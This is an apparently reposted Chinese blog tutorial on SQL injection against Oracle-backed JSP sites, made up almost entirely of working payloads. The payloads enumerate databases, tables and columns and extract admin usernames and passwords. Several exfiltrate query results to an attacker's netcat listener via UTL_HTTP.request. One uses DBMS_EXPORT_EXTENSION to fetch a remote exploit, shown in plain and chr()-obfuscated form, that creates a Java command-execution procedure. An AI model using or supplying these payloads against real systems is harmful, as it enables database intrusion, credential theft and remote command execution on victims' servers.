• oracle注入,utl_http方法


    大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少,oracle+jsp的搭配的比较好... oracle系统库默认的用户有sys,system,internal,scott,前三个权限都是system权限.. 先说下数据库的注释:access支持null和注释; mssql支持--和;的注视;mysql支持/*的支持;oracle支持--的注视 这里也许大家说了如果mssql过滤了;注视,该怎么区别oracle和mssql数据库呢,如果是oracle的库,一旦出错的话,很多时候就会出现oracle.odbc等之类的存储过程出错的语句,也可以通过; and user()>0来判断mssql,从而排除oracle的库 现在来说注入: 第一种方法使用dual系统表 一、判断注入数字型:and 1=1 and 1=0 字符型: and 1=1 and 1=0 搜索型: xx% and 1=1 and %= xx% and 1=2 and %=(xx必须是在页面中存在的字符串) 文本型:url+返回正常 url"+asdfg返回出错(asdfg是随便输入的字符串) 二、长度判断你可以选择union select null,null,null.....(用null,null,null而没有用1,2,3是为了避免类型的问题,当确定下来后可以逐个来替换类型,oracle是不会自动匹配类型滴) order by 我感觉比较省事,我一般都是order by 三、判断dual表是不是存在(这篇文章是针对dual表存在的情况进行注入的,如果不存在的话,工具要是跑不来的话就是体力活了) url and exist (select * from dual) 四、进行注入假设:www.abc.com/abc.jsp?id=1存在注入,而且有7个字段而且都是整型,索引值是在2处 1.判断oracle版本 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,4,5,6,7 from dual 2.判断当前连接用户 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select sys_context(userenv,current_user from dual)),3,4,5,6,7 from dual 3.爆表 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,table_name,3,4,5,6,7 from user_tables 可能表比较多,所以长度有要求,有些时候可能因为长度不够有些表没有显示出来,假设上面爆出来的有admin表 4.爆字段 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,column_name,3,4,5,6,7 from cols where table_name=admin(假设是username和password) 5.爆字段内容 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,username,3,4,5,6,7 from admin www.abc.com/abc.jsp?id=1 and 1=2 union select 1,password,3,4,5,6,7 from admin 当然也可以使用concat(),每个人的习惯不一样罢了

    第二种方法配合utl_http存储过程 如果想检测一下UTL_HTTP包是否存在可以使用语句" select count(*) from all_objects where object_name=UTL_HTTP "来判断。OK既然是反回信息我们先在本地用NC监听,然后使用"and UTL_HTTP.request(http://IP:2009/||(查询语句))=1--"这样的形式。 本地先 nc -l -vv -p 2009,然后提交"and UTL_HTTP.request(http://IP:2009/||(select banner from sys.v_$version where rownum=1))=1--" 成功返回数据库的版本。现在我们就来一点一点的爆。先爆库,再爆表,再爆字段(上文字段已经把字段确定出来了是USERNAME和PASSWORD),最后爆字段值。现在我们就来爆库,提交 "and UTL_HTTP.request(http://ip:2009/||(select owner from all_tables where rownum=1))=1--" 假设爆出第一个库的名字为SYS。继续爆第二个库名,提交 "and UTL_HTTP.request(http://IP:2009/||(select owner from all_tables where owner<>SYS and rownum=1))=1--"以此类推,爆出所有的库 爆表语句如下 提交"and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1))=1--" SYS库中第一个表为xxx。继续提交 "and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1 and TABLE_NAME<>xxx))=1--" 以此类推爆出SYS库中所有的表;如果需要爆表里有多少个列可以用 "and UTL_HTTP.request(http://IP:2009/||(select count(*) from user_tab_columns where table_name=表名))=1--" 或者想要爆第一个列名可以使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1))=1--" 爆第二个列名使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1 and COLUMN_NAME<>第一个爆出的列名))=1--" 以此类推就可以爆出所有的列名。现在我们继续爆用户和密码,提交 "and UTL_HTTP.request(http://IP:2009/||(select 字段名1 from TBL_USER_MANAGER_BASE where rownum=1))=1--" 爆密码提交 "and UTL_HTTP.request (http://IP:2009/||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1))=1--" 首先想到的就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数,我们可以通过web注射直接获得系统权限,呵呵,非常诱人吧!我们先来看看这个函数的利用。如下。 SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);[多语句]END;--,SYS,0,1,0) 多语句里写上我们的exploit,但是这样会造成我们构造的语句非常庞大,所以这里我们可以使用utl_http.request来获取我们放在远程及其上的exploit。到这里我们的语句就构造完了。 "and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1); utl_http.request (http://www.li-tek.com/1.txt) END;--,SYS,0,1,0)=0--" 但是提交后返回该页无法显示。换成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)||chr(82)||chr(39)||chr(44)||chr(39)||chr(68)||chr(66)||chr(77)||chr(883)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49) ||chr(41)||chr(59)||utl_http.request(chr(39)||chr(104)||chr(116)||chr(116)||chr(112)||chr(58)||chr(47)||chr(47)||chr(119)||chr(119)||chr(119)||chr(46)||chr(108)||chr(105)||chr(45)||chr(116)||chr(101)||chr(107)||chr(46)||chr(99)||chr(111)||chr(109)||chr(47)||chr(49)||chr(46)||chr(116)||chr(120)||chr(116)||chr(39))||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)||chr(39),chr(39)||chr(83)||chr(89)||chr(83)||chr(39),0,chr(39)||chr(49)||chr(39),0)=0-- 远程地址的1.txt内容为 EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE Create or REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS import java.lang.*;import java.io.*;public class JAVACMD{public static void execCommand (String command) throws IOException {Runtime.getRuntime().exec(command);}};;END;

    不知道大家有没有注意看,第二种使用utl_http存储过程使用的注入语句和使用dual表来猜基本上一样

  • 相关阅读:
    在Spring Boot中使用数据库事务
    Data Consistency Primer
    在Spring Boot中输出REST资源
    Android开发——进程间通信之Messenger
    初识在Spring Boot中使用JPA
    设计模式——享元模式详解
    回首2016,展望2017
    [转]OpenStack Keystone V3
    [原]Openstack之identity server(keystone)
    [原]secureCRT 改变显示宽度
  • 原文地址:https://www.cnblogs.com/demonspider/p/3042667.html
Copyright © 2020-2023  润新知